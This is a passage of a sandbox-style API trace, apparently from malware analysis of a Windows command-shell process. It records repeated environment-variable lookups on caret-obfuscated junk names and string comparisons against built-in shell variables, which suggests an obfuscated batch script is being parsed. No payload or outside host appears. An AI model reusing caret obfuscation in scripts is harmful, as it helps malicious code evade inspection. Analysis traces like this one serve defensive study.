-10 [0085.273] GetEnvironmentVariableW (in: lpName="l^6e", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.273] _wcsicmp (_String1="l^6e", _String2="CD") returned 9 [0085.273] _wcsicmp (_String1="l^6e", _String2="ERRORLEVEL") returned 7 [0085.273] _wcsicmp (_String1="l^6e", _String2="CMDEXTVERSION") returned 9 [0085.273] _wcsicmp (_String1="l^6e", _String2="CMDCMDLINE") returned 9 [0085.273] _wcsicmp (_String1="l^6e", _String2="DATE") returned 8 [0085.273] _wcsicmp (_String1="l^6e", _String2="TIME") returned -8 [0085.273] _wcsicmp (_String1="l^6e", _String2="RANDOM") returned -6 [0085.273] _wcsicmp (_String1="l^6e", _String2="HIGHESTNUMANODENUMBER") returned 4 [0085.273] GetEnvironmentVariableW (in: lpName="Zz^t", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.273] _wcsicmp (_String1="Zz^t", _String2="CD") returned 23 [0085.273] _wcsicmp (_String1="Zz^t", _String2="ERRORLEVEL") returned 21 [0085.273] _wcsicmp (_String1="Zz^t", _String2="CMDEXTVERSION") returned 23 [0085.273] _wcsicmp (_String1="Zz^t", _String2="CMDCMDLINE") returned 23 [0085.273] _wcsicmp (_String1="Zz^t", _String2="DATE") returned 22 [0085.273] _wcsicmp (_String1="Zz^t", _String2="TIME") returned 6 [0085.273] _wcsicmp (_String1="Zz^t", _String2="RANDOM") returned 8 [0085.273] _wcsicmp (_String1="Zz^t", _String2="HIGHESTNUMANODENUMBER") returned 18 [0085.273] GetEnvironmentVariableW (in: lpName="^BW7", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.273] _wcsicmp (_String1="^BW7", _String2="CD") returned -5 [0085.273] _wcsicmp (_String1="^BW7", _String2="ERRORLEVEL") returned -7 [0085.274] _wcsicmp (_String1="^BW7", _String2="CMDEXTVERSION") returned -5 [0085.274] _wcsicmp (_String1="^BW7", _String2="CMDCMDLINE") returned -5 [0085.274] _wcsicmp (_String1="^BW7", _String2="DATE") returned -6 [0085.274] _wcsicmp (_String1="^BW7", _String2="TIME") returned -22 [0085.274] _wcsicmp (_String1="^BW7", _String2="RANDOM") returned -20 [0085.274] _wcsicmp (_String1="^BW7", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.274] GetEnvironmentVariableW (in: lpName="LI^j", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.274] _wcsicmp (_String1="LI^j", _String2="CD") returned 9 [0085.274] _wcsicmp (_String1="LI^j", _String2="ERRORLEVEL") returned 7 [0085.274] _wcsicmp (_String1="LI^j", _String2="CMDEXTVERSION") returned 9 [0085.274] _wcsicmp (_String1="LI^j", _String2="CMDCMDLINE") returned 9 [0085.274] _wcsicmp (_String1="LI^j", _String2="DATE") returned 8 [0085.274] _wcsicmp (_String1="LI^j", _String2="TIME") returned -8 [0085.274] _wcsicmp (_String1="LI^j", _String2="RANDOM") returned -6 [0085.274] _wcsicmp (_String1="LI^j", _String2="HIGHESTNUMANODENUMBER") returned 4 [0085.274] GetEnvironmentVariableW (in: lpName="^aMG", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.274] _wcsicmp (_String1="^aMG", _String2="CD") returned -5 [0085.274] _wcsicmp (_String1="^aMG", _String2="ERRORLEVEL") returned -7 [0085.274] _wcsicmp (_String1="^aMG", _String2="CMDEXTVERSION") returned -5 [0085.274] _wcsicmp (_String1="^aMG", _String2="CMDCMDLINE") returned -5 [0085.274] _wcsicmp (_String1="^aMG", _String2="DATE") returned -6 [0085.274] _wcsicmp (_String1="^aMG", _String2="TIME") returned -22 [0085.274] _wcsicmp (_String1="^aMG", _String2="RANDOM") returned -20 [0085.274] _wcsicmp (_String1="^aMG", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.274] GetEnvironmentVariableW (in: lpName="I1", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.274] _wcsicmp (_String1="I1", _String2="CD") returned 6 [0085.274] _wcsicmp (_String1="I1", _String2="ERRORLEVEL") returned 4 [0085.274] _wcsicmp (_String1="I1", _String2="CMDEXTVERSION") returned 6 [0085.275] _wcsicmp (_String1="I1", _String2="CMDCMDLINE") returned 6 [0085.275] _wcsicmp (_String1="I1", _String2="DATE") returned 5 [0085.275] _wcsicmp (_String1="I1", _String2="TIME") returned -11 [0085.275] _wcsicmp (_String1="I1", _String2="RANDOM") returned -9 [0085.275] _wcsicmp (_String1="I1", _String2="HIGHESTNUMANODENUMBER") returned 1 [0085.275] GetEnvironmentVariableW (in: lpName="J^6", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.275] _wcsicmp (_String1="J^6", _String2="CD") returned 7 [0085.275] _wcsicmp (_String1="J^6", _String2="ERRORLEVEL") returned 5 [0085.275] _wcsicmp (_String1="J^6", _String2="CMDEXTVERSION") returned 7 [0085.275] _wcsicmp (_String1="J^6", _String2="CMDCMDLINE") returned 7 [0085.275] _wcsicmp (_String1="J^6", _String2="DATE") returned 6 [0085.275] _wcsicmp (_String1="J^6", _String2="TIME") returned -10 [0085.275] _wcsicmp (_String1="J^6", _String2="RANDOM") returned -8 [0085.275] _wcsicmp (_String1="J^6", _String2="HIGHESTNUMANODENUMBER") returned 2 [0085.275] GetEnvironmentVariableW (in: lpName="^cN^Vz", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.275] _wcsicmp (_String1="^cN^Vz", _String2="CD") returned -5 [0085.275] _wcsicmp (_String1="^cN^Vz", _String2="ERRORLEVEL") returned -7 [0085.275] _wcsicmp (_String1="^cN^Vz", _String2="CMDEXTVERSION") returned -5 [0085.275] _wcsicmp (_String1="^cN^Vz", _String2="CMDCMDLINE") returned -5 [0085.275] _wcsicmp (_String1="^cN^Vz", _String2="DATE") returned -6 [0085.275] _wcsicmp (_String1="^cN^Vz", _String2="TIME") returned -22 [0085.275] _wcsicmp (_String1="^cN^Vz", _String2="RANDOM") returned -20 [0085.275] _wcsicmp (_String1="^cN^Vz", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.275] GetEnvironmentVariableW (in: lpName="C^ij", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.275] _wcsicmp (_String1="C^ij", _String2="CD") returned -6 [0085.275] _wcsicmp (_String1="C^ij", _String2="ERRORLEVEL") returned -2 [0085.275] _wcsicmp (_String1="C^ij", _String2="CMDEXTVERSION") returned -15 [0085.275] _wcsicmp (_String1="C^ij", _String2="CMDCMDLINE") returned -15 [0085.276] _wcsicmp (_String1="C^ij", _String2="DATE") returned -1 [0085.276] _wcsicmp (_String1="C^ij", _String2="TIME") returned -17 [0085.276] _wcsicmp (_String1="C^ij", _String2="RANDOM") returned -15 [0085.276] _wcsicmp (_String1="C^ij", _String2="HIGHESTNUMANODENUMBER") returned -5 [0085.276] GetEnvironmentVariableW (in: lpName="b^aCI", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.276] _wcsicmp (_String1="b^aCI", _String2="CD") returned -1 [0085.276] _wcsicmp (_String1="b^aCI", _String2="ERRORLEVEL") returned -3 [0085.276] _wcsicmp (_String1="b^aCI", _String2="CMDEXTVERSION") returned -1 [0085.276] _wcsicmp (_String1="b^aCI", _String2="CMDCMDLINE") returned -1 [0085.276] _wcsicmp (_String1="b^aCI", _String2="DATE") returned -2 [0085.276] _wcsicmp (_String1="b^aCI", _String2="TIME") returned -18 [0085.276] _wcsicmp (_String1="b^aCI", _String2="RANDOM") returned -16 [0085.276] _wcsicmp (_String1="b^aCI", _String2="HIGHESTNUMANODENUMBER") returned -6 [0085.276] GetEnvironmentVariableW (in: lpName="OE^9^Q", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.276] _wcsicmp (_String1="OE^9^Q", _String2="CD") returned 12 [0085.276] _wcsicmp (_String1="OE^9^Q", _String2="ERRORLEVEL") returned 10 [0085.276] _wcsicmp (_String1="OE^9^Q", _String2="CMDEXTVERSION") returned 12 [0085.276] _wcsicmp (_String1="OE^9^Q", _String2="CMDCMDLINE") returned 12 [0085.276] _wcsicmp (_String1="OE^9^Q", _String2="DATE") returned 11 [0085.276] _wcsicmp (_String1="OE^9^Q", _String2="TIME") returned -5 [0085.276] _wcsicmp (_String1="OE^9^Q", _String2="RANDOM") returned -3 [0085.276] _wcsicmp (_String1="OE^9^Q", _String2="HIGHESTNUMANODENUMBER") returned 7 [0085.276] GetEnvironmentVariableW (in: lpName="J^Z", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.276] _wcsicmp (_String1="J^Z", _String2="CD") returned 7 [0085.277] _wcsicmp (_String1="J^Z", _String2="ERRORLEVEL") returned 5 [0085.277] _wcsicmp (_String1="J^Z", _String2="CMDEXTVERSION") returned 7 [0085.277] _wcsicmp (_String1="J^Z", _String2="CMDCMDLINE") returned 7 [0085.277] _wcsicmp (_String1="J^Z", _String2="DATE") returned 6 [0085.277] _wcsicmp (_String1="J^Z", _String2="TIME") returned -10 [0085.277] _wcsicmp (_String1="J^Z", _String2="RANDOM") returned -8 [0085.277] _wcsicmp (_String1="J^Z", _String2="HIGHESTNUMANODENUMBER") returned 2 [0085.277] GetEnvironmentVariableW (in: lpName="^DG", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.277] _wcsicmp (_String1="^DG", _String2="CD") returned -5 [0085.277] _wcsicmp (_String1="^DG", _String2="ERRORLEVEL") returned -7 [0085.277] _wcsicmp (_String1="^DG", _String2="CMDEXTVERSION") returned -5 [0085.277] _wcsicmp (_String1="^DG", _String2="CMDCMDLINE") returned -5 [0085.277] _wcsicmp (_String1="^DG", _String2="DATE") returned -6 [0085.277] _wcsicmp (_String1="^DG", _String2="TIME") returned -22 [0085.278] _wcsicmp (_String1="^DG", _String2="RANDOM") returned -20 [0085.278] _wcsicmp (_String1="^DG", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.278] GetEnvironmentVariableW (in: lpName="q^Xu", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.278] _wcsicmp (_String1="q^Xu", _String2="CD") returned 14 [0085.278] _wcsicmp (_String1="q^Xu", _String2="ERRORLEVEL") returned 12 [0085.278] _wcsicmp (_String1="q^Xu", _String2="CMDEXTVERSION") returned 14 [0085.278] _wcsicmp (_String1="q^Xu", _String2="CMDCMDLINE") returned 14 [0085.278] _wcsicmp (_String1="q^Xu", _String2="DATE") returned 13 [0085.278] _wcsicmp (_String1="q^Xu", _String2="TIME") returned -3 [0085.278] _wcsicmp (_String1="q^Xu", _String2="RANDOM") returned -1 [0085.278] _wcsicmp (_String1="q^Xu", _String2="HIGHESTNUMANODENUMBER") returned 9 [0085.278] GetEnvironmentVariableW (in: lpName="^E^f", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.278] _wcsicmp (_String1="^E^f", _String2="CD") returned -5 [0085.278] _wcsicmp (_String1="^E^f", _String2="ERRORLEVEL") returned -7 [0085.278] _wcsicmp (_String1="^E^f", _String2="CMDEXTVERSION") returned -5 [0085.278] _wcsicmp (_String1="^E^f", _String2="CMDCMDLINE") returned -5 [0085.278] _wcsicmp (_String1="^E^f", _String2="DATE") returned -6 [0085.278] _wcsicmp (_String1="^E^f", _String2="TIME") returned -22 [0085.278] _wcsicmp (_String1="^E^f", _String2="RANDOM") returned -20 [0085.278] _wcsicmp (_String1="^E^f", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.278] GetEnvironmentVariableW (in: lpName="x^dNR", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.278] _wcsicmp (_String1="x^dNR", _String2="CD") returned 21 [0085.278] _wcsicmp (_String1="x^dNR", _String2="ERRORLEVEL") returned 19 [0085.278] _wcsicmp (_String1="x^dNR", _String2="CMDEXTVERSION") returned 21 [0085.278] _wcsicmp (_String1="x^dNR", _String2="CMDCMDLINE") returned 21 [0085.278] _wcsicmp (_String1="x^dNR", _String2="DATE") returned 20 [0085.278] _wcsicmp (_String1="x^dNR", _String2="TIME") returned 4 [0085.278] _wcsicmp (_String1="x^dNR", _String2="RANDOM") returned 6 [0085.278] _wcsicmp (_String1="x^dNR", _String2="HIGHESTNUMANODENUMBER") returned 16 [0085.279] GetEnvironmentVariableW (in: lpName="g^I", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.279] _wcsicmp (_String1="g^I", _String2="CD") returned 4 [0085.279] _wcsicmp (_String1="g^I", _String2="ERRORLEVEL") returned 2 [0085.279] _wcsicmp (_String1="g^I", _String2="CMDEXTVERSION") returned 4 [0085.279] _wcsicmp (_String1="g^I", _String2="CMDCMDLINE") returned 4 [0085.279] _wcsicmp (_String1="g^I", _String2="DATE") returned 3 [0085.279] _wcsicmp (_String1="g^I", _String2="TIME") returned -13 [0085.279] _wcsicmp (_String1="g^I", _String2="RANDOM") returned -11 [0085.279] _wcsicmp (_String1="g^I", _String2="HIGHESTNUMANODENUMBER") returned -1 [0085.279] GetEnvironmentVariableW (in: lpName="3^y", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.279] _wcsicmp (_String1="3^y", _String2="CD") returned -48 [0085.279] _wcsicmp (_String1="3^y", _String2="ERRORLEVEL") returned -50 [0085.279] _wcsicmp (_String1="3^y", _String2="CMDEXTVERSION") returned -48 [0085.279] _wcsicmp (_String1="3^y", _String2="CMDCMDLINE") returned -48 [0085.279] _wcsicmp (_String1="3^y", _String2="DATE") returned -49 [0085.279] _wcsicmp (_String1="3^y", _String2="TIME") returned -65 [0085.279] _wcsicmp (_String1="3^y", _String2="RANDOM") returned -63 [0085.279] _wcsicmp (_String1="3^y", _String2="HIGHESTNUMANODENUMBER") returned -53 [0085.279] GetEnvironmentVariableW (in: lpName="^S^l", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.279] _wcsicmp (_String1="^S^l", _String2="CD") returned -5 [0085.279] _wcsicmp (_String1="^S^l", _String2="ERRORLEVEL") returned -7 [0085.279] _wcsicmp (_String1="^S^l", _String2="CMDEXTVERSION") returned -5 [0085.279] _wcsicmp (_String1="^S^l", _String2="CMDCMDLINE") returned -5 [0085.279] _wcsicmp (_String1="^S^l", _String2="DATE") returned -6 [0085.279] _wcsicmp (_String1="^S^l", _String2="TIME") returned -22 [0085.279] _wcsicmp (_String1="^S^l", _String2="RANDOM") returned -20 [0085.279] _wcsicmp (_String1="^S^l", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.280] GetEnvironmentVariableW (in: lpName="dn", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.280] _wcsicmp (_String1="dn", _String2="CD") returned 1 [0085.280] _wcsicmp (_String1="dn", _String2="ERRORLEVEL") returned -1 [0085.280] _wcsicmp (_String1="dn", _String2="CMDEXTVERSION") returned 1 [0085.280] _wcsicmp (_String1="dn", _String2="CMDCMDLINE") returned 1 [0085.280] _wcsicmp (_String1="dn", _String2="DATE") returned 13 [0085.280] _wcsicmp (_String1="dn", _String2="TIME") returned -16 [0085.280] _wcsicmp (_String1="dn", _String2="RANDOM") returned -14 [0085.280] _wcsicmp (_String1="dn", _String2="HIGHESTNUMANODENUMBER") returned -4 [0085.280] GetEnvironmentVariableW (in: lpName="^7^2", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.280] _wcsicmp (_String1="^7^2", _String2="CD") returned -5 [0085.280] _wcsicmp (_String1="^7^2", _String2="ERRORLEVEL") returned -7 [0085.280] _wcsicmp (_String1="^7^2", _String2="CMDEXTVERSION") returned -5 [0085.280] _wcsicmp (_String1="^7^2", _String2="CMDCMDLINE") returned -5 [0085.280] _wcsicmp (_String1="^7^2", _String2="DATE") returned -6 [0085.280] _wcsicmp (_String1="^7^2", _String2="TIME") returned -22 [0085.280] _wcsicmp (_String1="^7^2", _String2="RANDOM") returned -20 [0085.280] _wcsicmp (_String1="^7^2", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.280] GetEnvironmentVariableW (in: lpName="^H8^O", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.280] _wcsicmp (_String1="^H8^O", _String2="CD") returned -5 [0085.280] _wcsicmp (_String1="^H8^O", _String2="ERRORLEVEL") returned -7 [0085.280] _wcsicmp (_String1="^H8^O", _String2="CMDEXTVERSION") returned -5 [0085.280] _wcsicmp (_String1="^H8^O", _String2="CMDCMDLINE") returned -5 [0085.280] _wcsicmp (_String1="^H8^O", _String2="DATE") returned -6 [0085.280] _wcsicmp (_String1="^H8^O", _String2="TIME") returned -22 [0085.280] _wcsicmp (_String1="^H8^O", _String2="RANDOM") returned -20 [0085.280] _wcsicmp (_String1="^H8^O", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.280] GetEnvironmentVariableW (in: lpName="q8", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.281] _wcsicmp (_String1="q8", _String2="CD") returned 14 [0085.281] _wcsicmp (_String1="q8", _String2="ERRORLEVEL") returned 12 [0085.281] _wcsicmp (_String1="q8", _String2="CMDEXTVERSION") returned 14 [0085.281] _wcsicmp (_String1="q8", _String2="CMDCMDLINE") returned 14 [0085.281] _wcsicmp (_String1="q8", _String2="DATE") returned 13 [0085.281] _wcsicmp (_String1="q8", _String2="TIME") returned -3 [0085.281] _wcsicmp (_String1="q8", _String2="RANDOM") returned -1 [0085.281] _wcsicmp (_String1="q8", _String2="HIGHESTNUMANODENUMBER") returned 9 [0085.281] GetEnvironmentVariableW (in: lpName="^u5", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.281] _wcsicmp (_String1="^u5", _String2="CD") returned -5 [0085.282] _wcsicmp (_String1="^u5", _String2="ERRORLEVEL") returned -7 [0085.282] _wcsicmp (_String1="^u5", _String2="CMDEXTVERSION") returned -5 [0085.282] _wcsicmp (_String1="^u5", _String2="CMDCMDLINE") returned -5 [0085.282] _wcsicmp (_String1="^u5", _String2="DATE") returned -6 [0085.282] _wcsicmp (_String1="^u5", _String2="TIME") returned -22 [0085.282] _wcsicmp (_String1="^u5", _String2="RANDOM") returned -20 [0085.282] _wcsicmp (_String1="^u5", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.282] GetEnvironmentVariableW (in: lpName="^s^Hnp", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.282] _wcsicmp (_String1="^s^Hnp", _String2="CD") returned -5 [0085.282] _wcsicmp (_String1="^s^Hnp", _String2="ERRORLEVEL") returned -7 [0085.282] _wcsicmp (_String1="^s^Hnp", _String2="CMDEXTVERSION") returned -5 [0085.282] _wcsicmp (_String1="^s^Hnp", _String2="CMDCMDLINE") returned -5 [0085.282] _wcsicmp (_String1="^s^Hnp", _String2="DATE") returned -6 [0085.283] _wcsicmp (_String1="^s^Hnp", _String2="TIME") returned -22 [0085.283] _wcsicmp (_String1="^s^Hnp", _String2="RANDOM") returned -20 [0085.283] _wcsicmp (_String1="^s^Hnp", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.283] GetEnvironmentVariableW (in: lpName="^aw^yI", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.283] _wcsicmp (_String1="^aw^yI", _String2="CD") returned -5 [0085.283] _wcsicmp (_String1="^aw^yI", _String2="ERRORLEVEL") returned -7 [0085.283] _wcsicmp (_String1="^aw^yI", _String2="CMDEXTVERSION") returned -5 [0085.283] _wcsicmp (_String1="^aw^yI", _String2="CMDCMDLINE") returned -5 [0085.283] _wcsicmp (_String1="^aw^yI", _String2="DATE") returned -6 [0085.283] _wcsicmp (_String1="^aw^yI", _String2="TIME") returned -22 [0085.283] _wcsicmp (_String1="^aw^yI", _String2="RANDOM") returned -20 [0085.283] _wcsicmp (_String1="^aw^yI", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.283] GetEnvironmentVariableW (in: lpName="c^LM", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.283] _wcsicmp (_String1="c^LM", _String2="CD") returned -6 [0085.283] _wcsicmp (_String1="c^LM", _String2="ERRORLEVEL") returned -2 [0085.283] _wcsicmp (_String1="c^LM", _String2="CMDEXTVERSION") returned -15 [0085.283] _wcsicmp (_String1="c^LM", _String2="CMDCMDLINE") returned -15 [0085.283] _wcsicmp (_String1="c^LM", _String2="DATE") returned -1 [0085.283] _wcsicmp (_String1="c^LM", _String2="TIME") returned -17 [0085.283] _wcsicmp (_String1="c^LM", _String2="RANDOM") returned -15 [0085.283] _wcsicmp (_String1="c^LM", _String2="HIGHESTNUMANODENUMBER") returned -5 [0085.283] GetEnvironmentVariableW (in: lpName="^0zSA", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.283] _wcsicmp (_String1="^0zSA", _String2="CD") returned -5 [0085.283] _wcsicmp (_String1="^0zSA", _String2="ERRORLEVEL") returned -7 [0085.283] _wcsicmp (_String1="^0zSA", _String2="CMDEXTVERSION") returned -5 [0085.283] _wcsicmp (_String1="^0zSA", _String2="CMDCMDLINE") returned -5 [0085.283] _wcsicmp (_String1="^0zSA", _String2="DATE") returned -6 [0085.283] _wcsicmp (_String1="^0zSA", _String2="TIME") returned -22 [0085.283] _wcsicmp (_String1="^0zSA", _String2="RANDOM") returned -20 [0085.284] _wcsicmp (_String1="^0zSA", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.284] GetEnvironmentVariableW (in: lpName="Op^1", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.284] _wcsicmp (_String1="Op^1", _String2="CD") returned 12 [0085.284] _wcsicmp (_String1="Op^1", _String2="ERRORLEVEL") returned 10 [0085.284] _wcsicmp (_String1="Op^1", _String2="CMDEXTVERSION") returned 12 [0085.284] _wcsicmp (_String1="Op^1", _String2="CMDCMDLINE") returned 12 [0085.284] _wcsicmp (_String1="Op^1", _String2="DATE") returned 11 [0085.284] _wcsicmp (_String1="Op^1", _String2="TIME") returned -5 [0085.284] _wcsicmp (_String1="Op^1", _String2="RANDOM") returned -3 [0085.284] _wcsicmp (_String1="Op^1", _String2="HIGHESTNUMANODENUMBER") returned 7 [0085.284] GetEnvironmentVariableW (in: lpName="^Dq4G", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.284] _wcsicmp (_String1="^Dq4G", _String2="CD") returned -5 [0085.284] _wcsicmp (_String1="^Dq4G", _String2="ERRORLEVEL") returned -7 [0085.285] _wcsicmp (_String1="^Dq4G", _String2="CMDEXTVERSION") returned -5 [0085.285] _wcsicmp (_String1="^Dq4G", _String2="CMDCMDLINE") returned -5 [0085.285] _wcsicmp (_String1="^Dq4G", _String2="DATE") returned -6 [0085.285] _wcsicmp (_String1="^Dq4G", _String2="TIME") returned -22 [0085.285] _wcsicmp (_String1="^Dq4G", _String2="RANDOM") returned -20 [0085.285] _wcsicmp (_String1="^Dq4G", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.285] GetEnvironmentVariableW (in: lpName="^Rw", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.285] _wcsicmp (_String1="^Rw", _String2="CD") returned -5 [0085.285] _wcsicmp (_String1="^Rw", _String2="ERRORLEVEL") returned -7 [0085.285] _wcsicmp (_String1="^Rw", _String2="CMDEXTVERSION") returned -5 [0085.285] _wcsicmp (_String1="^Rw", _String2="CMDCMDLINE") returned -5 [0085.285] _wcsicmp (_String1="^Rw", _String2="DATE") returned -6 [0085.285] _wcsicmp (_String1="^Rw", _String2="TIME") returned -22 [0085.285] _wcsicmp (_String1="^Rw", _String2="RANDOM") returned -20 [0085.285] _wcsicmp (_String1="^Rw", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.285] GetEnvironmentVariableW (in: lpName="r^Y", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.285] _wcsicmp (_String1="r^Y", _String2="CD") returned 15 [0085.285] _wcsicmp (_String1="r^Y", _String2="ERRORLEVEL") returned 13 [0085.285] _wcsicmp (_String1="r^Y", _String2="CMDEXTVERSION") returned 15 [0085.285] _wcsicmp (_String1="r^Y", _String2="CMDCMDLINE") returned 15 [0085.285] _wcsicmp (_String1="r^Y", _String2="DATE") returned 14 [0085.285] _wcsicmp (_String1="r^Y", _String2="TIME") returned -2 [0085.285] _wcsicmp (_String1="r^Y", _String2="RANDOM") returned -3 [0085.285] _wcsicmp (_String1="r^Y", _String2="HIGHESTNUMANODENUMBER") returned 10 [0085.285] GetEnvironmentVariableW (in: lpName="^z^RJ", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.285] _wcsicmp (_String1="^z^RJ", _String2="CD") returned -5 [0085.286] _wcsicmp (_String1="^z^RJ", _String2="ERRORLEVEL") returned -7 [0085.286] _wcsicmp (_String1="^z^RJ", _String2="CMDEXTVERSION") returned -5 [0085.286] _wcsicmp (_String1="^z^RJ", _String2="CMDCMDLINE") returned -5 [0085.286] _wcsicmp (_String1="^z^RJ", _String2="DATE") returned -6 [0085.286] _wcsicmp (_String1="^z^RJ", _String2="TIME") returned -22 [0085.286] _wcsicmp (_String1="^z^RJ", _String2="RANDOM") returned -20 [0085.286] _wcsicmp (_String1="^z^RJ", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.286] GetEnvironmentVariableW (in: lpName="^g^Vkp", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.286] _wcsicmp (_String1="^g^Vkp", _String2="CD") returned -5 [0085.286] _wcsicmp (_String1="^g^Vkp", _String2="ERRORLEVEL") returned -7 [0085.286] _wcsicmp (_String1="^g^Vkp", _String2="CMDEXTVERSION") returned -5 [0085.286] _wcsicmp (_String1="^g^Vkp", _String2="CMDCMDLINE") returned -5 [0085.286] _wcsicmp (_String1="^g^Vkp", _String2="DATE") returned -6 [0085.286] _wcsicmp (_String1="^g^Vkp", _String2="TIME") returned -22 [0085.286] _wcsicmp (_String1="^g^Vkp", _String2="RANDOM") returned -20 [0085.286] _wcsicmp (_String1="^g^Vkp", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.286] GetEnvironmentVariableW (in: lpName="bC^0", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.286] _wcsicmp (_String1="bC^0", _String2="CD") returned -1 [0085.286] _wcsicmp (_String1="bC^0", _String2="ERRORLEVEL") returned -3 [0085.286] _wcsicmp (_String1="bC^0", _String2="CMDEXTVERSION") returned -1 [0085.286] _wcsicmp (_String1="bC^0", _String2="CMDCMDLINE") returned -1 [0085.286] _wcsicmp (_String1="bC^0", _String2="DATE") returned -2 [0085.286] _wcsicmp (_String1="bC^0", _String2="TIME") returned -18 [0085.286] _wcsicmp (_String1="bC^0", _String2="RANDOM") returned -16 [0085.286] _wcsicmp (_String1="bC^0", _String2="HIGHESTNUMANODENUMBER") returned -6 [0085.286] GetEnvironmentVariableW (in: lpName="^3B", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.286] _wcsicmp (_String1="^3B", _String2="CD") returned -5 [0085.286] _wcsicmp (_String1="^3B", _String2="ERRORLEVEL") returned -7 [0085.287] _wcsicmp (_String1="^3B", _String2="CMDEXTVERSION") returned -5 [0085.287] _wcsicmp (_String1="^3B", _String2="CMDCMDLINE") returned -5 [0085.287] _wcsicmp (_String1="^3B", _String2="DATE") returned -6 [0085.287] _wcsicmp (_String1="^3B", _String2="TIME") returned -22 [0085.287] _wcsicmp (_String1="^3B", _String2="RANDOM") returned -20 [0085.287] _wcsicmp (_String1="^3B", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.287] GetEnvironmentVariableW (in: lpName="^a^g", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.287] _wcsicmp (_String1="^a^g", _String2="CD") returned -5 [0085.287] _wcsicmp (_String1="^a^g", _String2="ERRORLEVEL") returned -7 [0085.287] _wcsicmp (_String1="^a^g", _String2="CMDEXTVERSION") returned -5 [0085.287] _wcsicmp (_String1="^a^g", _String2="CMDCMDLINE") returned -5 [0085.287] _wcsicmp (_String1="^a^g", _String2="DATE") returned -6 [0085.287] _wcsicmp (_String1="^a^g", _String2="TIME") returned -22 [0085.287] _wcsicmp (_String1="^a^g", _String2="RANDOM") returned -20 [0085.287] _wcsicmp (_String1="^a^g", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.287] GetEnvironmentVariableW (in: lpName="^6rH^Y", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.287] _wcsicmp (_String1="^6rH^Y", _String2="CD") returned -5 [0085.287] _wcsicmp (_String1="^6rH^Y", _String2="ERRORLEVEL") returned -7 [0085.287] _wcsicmp (_String1="^6rH^Y", _String2="CMDEXTVERSION") returned -5 [0085.287] _wcsicmp (_String1="^6rH^Y", _String2="CMDCMDLINE") returned -5 [0085.287] _wcsicmp (_String1="^6rH^Y", _String2="DATE") returned -6 [0085.287] _wcsicmp (_String1="^6rH^Y", _String2="TIME") returned -22 [0085.287] _wcsicmp 